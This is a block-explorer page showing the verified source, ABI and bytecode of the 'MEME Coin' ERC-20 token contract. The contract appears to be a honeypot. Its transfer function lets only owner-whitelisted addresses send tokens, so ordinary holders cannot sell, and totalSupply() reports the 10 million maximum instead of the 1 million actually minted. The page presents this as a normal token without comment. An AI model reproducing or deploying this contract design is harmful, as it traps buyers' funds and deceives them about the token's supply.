ETH Price: $3,483.96 (-0.20%)

Token

MEME Coin (MEME)
 

Overview

Max Total Supply

10,000,000 MEME

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
22,960.471314 MEME

Value
$0.00
0x048d5708bc22fbfc9e3ce75e6453ee5ec53ee071
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEME

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

pragma solidity ^0.8.0;

contract Owner {
    address private owner;

    event OwnerSet(address indexed oldOwner, address indexed newOwner);

    modifier isOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;
    }

    constructor() {
        owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
        emit OwnerSet(address(0), owner);
    }

    function changeOwner(address newOwner) public isOwner {
        emit OwnerSet(owner, newOwner);
        owner = newOwner;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract MEME is Owner, Context, IERC20, IERC20Metadata {
    mapping(address => bool) private _whiteList;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 0;
    uint256 private _maxSupply = 10000000000000;

    string private _name = "MEME Coin";
    string private _symbol = "MEME";
    uint8 private _decimals = 6;

    constructor() {

        uint amount=1000000000000;
        _beforeTokenTransfer(address(0), msg.sender, amount);

        unchecked {
            _balances[msg.sender] += amount;
        }
        emit Transfer(address(0), msg.sender, amount);

        _afterTokenTransfer(address(0), msg.sender, amount);
        _totalSupply += amount;
        _whiteList[msg.sender] = true;
    }

    


    function addWhiteList(address[] calldata accounts) public isOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _whiteList[accounts[i]] = true;
        }
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _maxSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_whiteList[from], "You are not on the whitelist!");
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"addWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

5f6004556509184e72a00060055560c0604052600960809081526826a2a6a29021b7b4b760b91b60a052600690620000389082620001e7565b506040805180820190915260048152634d454d4560e01b6020820152600790620000639082620001e7565b506008805460ff191660061790553480156200007d575f80fd5b505f80546001600160a01b0319163390811782556040519091907f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a735908290a364e8d4a51000335f818152600260209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a38060045f8282546200011b9190620002af565b9091555050335f908152600160208190526040909120805460ff1916909117905550620002d5565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200017157607f821691505b6020821081036200019057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000143575f81815260208120601f850160051c81016020861015620001be5750805b601f850160051c820191505b81811015620001df57828155600101620001ca565b505050505050565b81516001600160401b0381111562000203576200020362000148565b6200021b816200021484546200015c565b8462000196565b602080601f83116001811462000251575f8415620002395750858301515b5f19600386901b1c1916600185901b178555620001df565b5f85815260208120601f198616915b82811015620002815788860151825594840194600190910190840162000260565b50858210156200029f57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b80820180821115620002cf57634e487b7160e01b5f52601160045260245ffd5b92915050565b610b3180620002e35f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806370a0823111610088578063a457c2d711610063578063a457c2d7146101d6578063a6f9dae1146101e9578063a9059cbb146101fc578063dd62ed3e1461020f575f80fd5b806370a082311461018c578063893d20e8146101b457806395d89b41146101ce575f80fd5b806323b872dd116100c357806323b872dd1461013c578063313ce5671461014f57806339509351146101645780635e1045ec14610177575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f1610222565b6040516100fe91906108e9565b60405180910390f35b61011a61011536600461094f565b6102b2565b60405190151581526020016100fe565b6005545b6040519081526020016100fe565b61011a61014a366004610977565b6102cb565b60085460405160ff90911681526020016100fe565b61011a61017236600461094f565b6102ee565b61018a6101853660046109b0565b61030f565b005b61012e61019a366004610a1f565b6001600160a01b03165f9081526002602052604090205490565b5f546040516001600160a01b0390911681526020016100fe565b6100f16103d6565b61011a6101e436600461094f565b6103e5565b61018a6101f7366004610a1f565b61045f565b61011a61020a36600461094f565b610507565b61012e61021d366004610a3f565b610514565b60606006805461023190610a70565b80601f016020809104026020016040519081016040528092919081815260200182805461025d90610a70565b80156102a85780601f1061027f576101008083540402835291602001916102a8565b820191905f5260205f20905b81548152906001019060200180831161028b57829003601f168201915b5050505050905090565b5f336102bf81858561053e565b60019150505b92915050565b5f336102d8858285610661565b6102e38585856106d9565b506001949350505050565b5f336102bf8185856103008383610514565b61030a9190610abc565b61053e565b5f546001600160a01b031633146103635760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b60448201526064015b60405180910390fd5b5f5b818110156103d1576001805f85858581811061038357610383610acf565b90506020020160208101906103989190610a1f565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806103c981610ae3565b915050610365565b505050565b60606007805461023190610a70565b5f33816103f28286610514565b9050838110156104525760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161035a565b6102e3828686840361053e565b5f546001600160a01b031633146104ae5760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b604482015260640161035a565b5f80546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f336102bf8185856106d9565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166105a05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161035a565b6001600160a01b0382166106015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161035a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61066c8484610514565b90505f1981146106d357818110156106c65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161035a565b6106d3848484840361053e565b50505050565b6001600160a01b03831661073d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161035a565b6001600160a01b03821661079f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161035a565b6001600160a01b0383165f9081526001602052604090205460ff166108065760405162461bcd60e51b815260206004820152601d60248201527f596f7520617265206e6f74206f6e207468652077686974656c69737421000000604482015260640161035a565b6001600160a01b0383165f908152600260205260409020548181101561087d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161035a565b6001600160a01b038085165f8181526002602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108dc9086815260200190565b60405180910390a36106d3565b5f6020808352835180828501525f5b81811015610914578581018301518582016040015282016108f8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094a575f80fd5b919050565b5f8060408385031215610960575f80fd5b61096983610934565b946020939093013593505050565b5f805f60608486031215610989575f80fd5b61099284610934565b92506109a060208501610934565b9150604084013590509250925092565b5f80602083850312156109c1575f80fd5b823567ffffffffffffffff808211156109d8575f80fd5b818501915085601f8301126109eb575f80fd5b8135818111156109f9575f80fd5b8660208260051b8501011115610a0d575f80fd5b60209290920196919550909350505050565b5f60208284031215610a2f575f80fd5b610a3882610934565b9392505050565b5f8060408385031215610a50575f80fd5b610a5983610934565b9150610a6760208401610934565b90509250929050565b600181811c90821680610a8457607f821691505b602082108103610aa257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156102c5576102c5610aa8565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610af457610af4610aa8565b506001019056fea2646970667358221220b5be770f3a7caccd0405b1b84c13ee3d844564e111b9b322d86e24c1eb4b549564736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806370a0823111610088578063a457c2d711610063578063a457c2d7146101d6578063a6f9dae1146101e9578063a9059cbb146101fc578063dd62ed3e1461020f575f80fd5b806370a082311461018c578063893d20e8146101b457806395d89b41146101ce575f80fd5b806323b872dd116100c357806323b872dd1461013c578063313ce5671461014f57806339509351146101645780635e1045ec14610177575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f1610222565b6040516100fe91906108e9565b60405180910390f35b61011a61011536600461094f565b6102b2565b60405190151581526020016100fe565b6005545b6040519081526020016100fe565b61011a61014a366004610977565b6102cb565b60085460405160ff90911681526020016100fe565b61011a61017236600461094f565b6102ee565b61018a6101853660046109b0565b61030f565b005b61012e61019a366004610a1f565b6001600160a01b03165f9081526002602052604090205490565b5f546040516001600160a01b0390911681526020016100fe565b6100f16103d6565b61011a6101e436600461094f565b6103e5565b61018a6101f7366004610a1f565b61045f565b61011a61020a36600461094f565b610507565b61012e61021d366004610a3f565b610514565b60606006805461023190610a70565b80601f016020809104026020016040519081016040528092919081815260200182805461025d90610a70565b80156102a85780601f1061027f576101008083540402835291602001916102a8565b820191905f5260205f20905b81548152906001019060200180831161028b57829003601f168201915b5050505050905090565b5f336102bf81858561053e565b60019150505b92915050565b5f336102d8858285610661565b6102e38585856106d9565b506001949350505050565b5f336102bf8185856103008383610514565b61030a9190610abc565b61053e565b5f546001600160a01b031633146103635760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b60448201526064015b60405180910390fd5b5f5b818110156103d1576001805f85858581811061038357610383610acf565b90506020020160208101906103989190610a1f565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806103c981610ae3565b915050610365565b505050565b60606007805461023190610a70565b5f33816103f28286610514565b9050838110156104525760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161035a565b6102e3828686840361053e565b5f546001600160a01b031633146104ae5760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b604482015260640161035a565b5f80546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f336102bf8185856106d9565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166105a05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161035a565b6001600160a01b0382166106015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161035a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61066c8484610514565b90505f1981146106d357818110156106c65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161035a565b6106d3848484840361053e565b50505050565b6001600160a01b03831661073d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161035a565b6001600160a01b03821661079f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161035a565b6001600160a01b0383165f9081526001602052604090205460ff166108065760405162461bcd60e51b815260206004820152601d60248201527f596f7520617265206e6f74206f6e207468652077686974656c69737421000000604482015260640161035a565b6001600160a01b0383165f908152600260205260409020548181101561087d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161035a565b6001600160a01b038085165f8181526002602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108dc9086815260200190565b60405180910390a36106d3565b5f6020808352835180828501525f5b81811015610914578581018301518582016040015282016108f8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094a575f80fd5b919050565b5f8060408385031215610960575f80fd5b61096983610934565b946020939093013593505050565b5f805f60608486031215610989575f80fd5b61099284610934565b92506109a060208501610934565b9150604084013590509250925092565b5f80602083850312156109c1575f80fd5b823567ffffffffffffffff808211156109d8575f80fd5b818501915085601f8301126109eb575f80fd5b8135818111156109f9575f80fd5b8660208260051b8501011115610a0d575f80fd5b60209290920196919550909350505050565b5f60208284031215610a2f575f80fd5b610a3882610934565b9392505050565b5f8060408385031215610a50575f80fd5b610a5983610934565b9150610a6760208401610934565b90509250929050565b600181811c90821680610a8457607f821691505b602082108103610aa257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156102c5576102c5610aa8565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610af457610af4610aa8565b506001019056fea2646970667358221220b5be770f3a7caccd0405b1b84c13ee3d844564e111b9b322d86e24c1eb4b549564736f6c63430008140033

Deployed Bytecode Sourcemap

1912:5588:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2968:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4046:242;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4046:242:0;1004:187:1;3296:106:0;3384:10;;3296:106;;;1342:25:1;;;1330:2;1315:18;3296:106:0;1196:177:1;4296:295:0;;;;;;:::i;:::-;;:::i;3188:100::-;3271:9;;3188:100;;3271:9;;;;1853:36:1;;1841:2;1826:18;3188:100:0;1711:184:1;4599:270:0;;;;;;:::i;:::-;;:::i;2773:187::-;;;;;;:::i;:::-;;:::i;:::-;;3410:177;;;;;;:::i;:::-;-1:-1:-1;;;;;3561:18:0;3529:7;3561:18;;;:9;:18;;;;;;;3410:177;582:83;625:7;652:5;582:83;;-1:-1:-1;;;;;652:5:0;;;2857:51:1;;2845:2;2830:18;582:83:0;2711:203:1;3076:104:0;;;:::i;4877:505::-;;;;;;:::i;:::-;;:::i;444:130::-;;;;;;:::i;:::-;;:::i;3595:234::-;;;;;;:::i;:::-;;:::i;3837:201::-;;;;;;:::i;:::-;;:::i;2968:100::-;3022:13;3055:5;3048:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2968:100;:::o;4046:242::-;4165:4;785:10;4226:32;785:10;4242:7;4251:6;4226:8;:32::i;:::-;4276:4;4269:11;;;4046:242;;;;;:::o;4296:295::-;4427:4;785:10;4485:38;4501:4;785:10;4516:6;4485:15;:38::i;:::-;4534:27;4544:4;4550:2;4554:6;4534:9;:27::i;:::-;-1:-1:-1;4579:4:0;;4296:295;-1:-1:-1;;;;4296:295:0:o;4599:270::-;4714:4;785:10;4775:64;785:10;4791:7;4828:10;4800:25;785:10;4791:7;4800:9;:25::i;:::-;:38;;;;:::i;:::-;4775:8;:64::i;2773:187::-;206:5;;-1:-1:-1;;;;;206:5:0;192:10;:19;184:51;;;;-1:-1:-1;;;184:51:0;;4033:2:1;184:51:0;;;4015:21:1;4072:2;4052:18;;;4045:30;-1:-1:-1;;;4091:18:1;;;4084:49;4150:18;;184:51:0;;;;;;;;;2855:9:::1;2850:103;2870:19:::0;;::::1;2850:103;;;2937:4;2911:10:::0;:23:::1;2922:8;;2931:1;2922:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;2911:23:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;2911:23:0;:30;;-1:-1:-1;;2911:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;2891:3;::::1;::::0;::::1;:::i;:::-;;;;2850:103;;;;2773:187:::0;;:::o;3076:104::-;3132:13;3165:7;3158:14;;;;;:::i;4877:505::-;4997:4;785:10;4997:4;5085:25;785:10;5102:7;5085:9;:25::i;:::-;5058:52;;5163:15;5143:16;:35;;5121:122;;;;-1:-1:-1;;;5121:122:0;;4653:2:1;5121:122:0;;;4635:21:1;4692:2;4672:18;;;4665:30;4731:34;4711:18;;;4704:62;-1:-1:-1;;;4782:18:1;;;4775:35;4827:19;;5121:122:0;4451:401:1;5121:122:0;5279:60;5288:5;5295:7;5323:15;5304:16;:34;5279:8;:60::i;444:130::-;206:5;;-1:-1:-1;;;;;206:5:0;192:10;:19;184:51;;;;-1:-1:-1;;;184:51:0;;4033:2:1;184:51:0;;;4015:21:1;4072:2;4052:18;;;4045:30;-1:-1:-1;;;4091:18:1;;;4084:49;4150:18;;184:51:0;3831:343:1;184:51:0;523:5:::1;::::0;;514:25:::1;::::0;-1:-1:-1;;;;;514:25:0;;::::1;::::0;523:5;::::1;::::0;514:25:::1;::::0;::::1;550:5;:16:::0;;-1:-1:-1;;;;;;550:16:0::1;-1:-1:-1::0;;;;;550:16:0;;;::::1;::::0;;;::::1;::::0;;444:130::o;3595:234::-;3710:4;785:10;3771:28;785:10;3788:2;3792:6;3771:9;:28::i;3837:201::-;-1:-1:-1;;;;;4003:18:0;;;3971:7;4003:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3837:201::o;6342:380::-;-1:-1:-1;;;;;6478:19:0;;6470:68;;;;-1:-1:-1;;;6470:68:0;;5059:2:1;6470:68:0;;;5041:21:1;5098:2;5078:18;;;5071:30;5137:34;5117:18;;;5110:62;-1:-1:-1;;;5188:18:1;;;5181:34;5232:19;;6470:68:0;4857:400:1;6470:68:0;-1:-1:-1;;;;;6557:21:0;;6549:68;;;;-1:-1:-1;;;6549:68:0;;5464:2:1;6549:68:0;;;5446:21:1;5503:2;5483:18;;;5476:30;5542:34;5522:18;;;5515:62;-1:-1:-1;;;5593:18:1;;;5586:32;5635:19;;6549:68:0;5262:398:1;6549:68:0;-1:-1:-1;;;;;6630:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6682:32;;1342:25:1;;;6682:32:0;;1315:18:1;6682:32:0;;;;;;;6342:380;;;:::o;6730:502::-;6865:24;6892:25;6902:5;6909:7;6892:9;:25::i;:::-;6865:52;;-1:-1:-1;;6932:16:0;:37;6928:297;;7032:6;7012:16;:26;;6986:117;;;;-1:-1:-1;;;6986:117:0;;5867:2:1;6986:117:0;;;5849:21:1;5906:2;5886:18;;;5879:30;5945:31;5925:18;;;5918:59;5994:18;;6986:117:0;5665:353:1;6986:117:0;7147:51;7156:5;7163:7;7191:6;7172:16;:25;7147:8;:51::i;:::-;6854:378;6730:502;;;:::o;5390:944::-;-1:-1:-1;;;;;5521:18:0;;5513:68;;;;-1:-1:-1;;;5513:68:0;;6225:2:1;5513:68:0;;;6207:21:1;6264:2;6244:18;;;6237:30;6303:34;6283:18;;;6276:62;-1:-1:-1;;;6354:18:1;;;6347:35;6399:19;;5513:68:0;6023:401:1;5513:68:0;-1:-1:-1;;;;;5600:16:0;;5592:64;;;;-1:-1:-1;;;5592:64:0;;6631:2:1;5592:64:0;;;6613:21:1;6670:2;6650:18;;;6643:30;6709:34;6689:18;;;6682:62;-1:-1:-1;;;6760:18:1;;;6753:33;6803:19;;5592:64:0;6429:399:1;5592:64:0;-1:-1:-1;;;;;5675:16:0;;;;;;:10;:16;;;;;;;;5667:58;;;;-1:-1:-1;;;5667:58:0;;7035:2:1;5667:58:0;;;7017:21:1;7074:2;7054:18;;;7047:30;7113:31;7093:18;;;7086:59;7162:18;;5667:58:0;6833:353:1;5667:58:0;-1:-1:-1;;;;;5809:15:0;;5787:19;5809:15;;;:9;:15;;;;;;5857:21;;;;5835:109;;;;-1:-1:-1;;;5835:109:0;;7393:2:1;5835:109:0;;;7375:21:1;7432:2;7412:18;;;7405:30;7471:34;7451:18;;;7444:62;-1:-1:-1;;;7522:18:1;;;7515:36;7568:19;;5835:109:0;7191:402:1;5835:109:0;-1:-1:-1;;;;;5980:15:0;;;;;;;:9;:15;;;;;;5998:20;;;5980:38;;6198:13;;;;;;;;;;:23;;;;;;6250:26;;;;;;6012:6;1342:25:1;;1330:2;1315:18;;1196:177;6250:26:0;;;;;;;;6289:37;2773:187;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:615::-;1986:6;1994;2047:2;2035:9;2026:7;2022:23;2018:32;2015:52;;;2063:1;2060;2053:12;2015:52;2103:9;2090:23;2132:18;2173:2;2165:6;2162:14;2159:34;;;2189:1;2186;2179:12;2159:34;2227:6;2216:9;2212:22;2202:32;;2272:7;2265:4;2261:2;2257:13;2253:27;2243:55;;2294:1;2291;2284:12;2243:55;2334:2;2321:16;2360:2;2352:6;2349:14;2346:34;;;2376:1;2373;2366:12;2346:34;2429:7;2424:2;2414:6;2411:1;2407:14;2403:2;2399:23;2395:32;2392:45;2389:65;;;2450:1;2447;2440:12;2389:65;2481:2;2473:11;;;;;2503:6;;-1:-1:-1;1900:615:1;;-1:-1:-1;;;;1900:615:1:o;2520:186::-;2579:6;2632:2;2620:9;2611:7;2607:23;2603:32;2600:52;;;2648:1;2645;2638:12;2600:52;2671:29;2690:9;2671:29;:::i;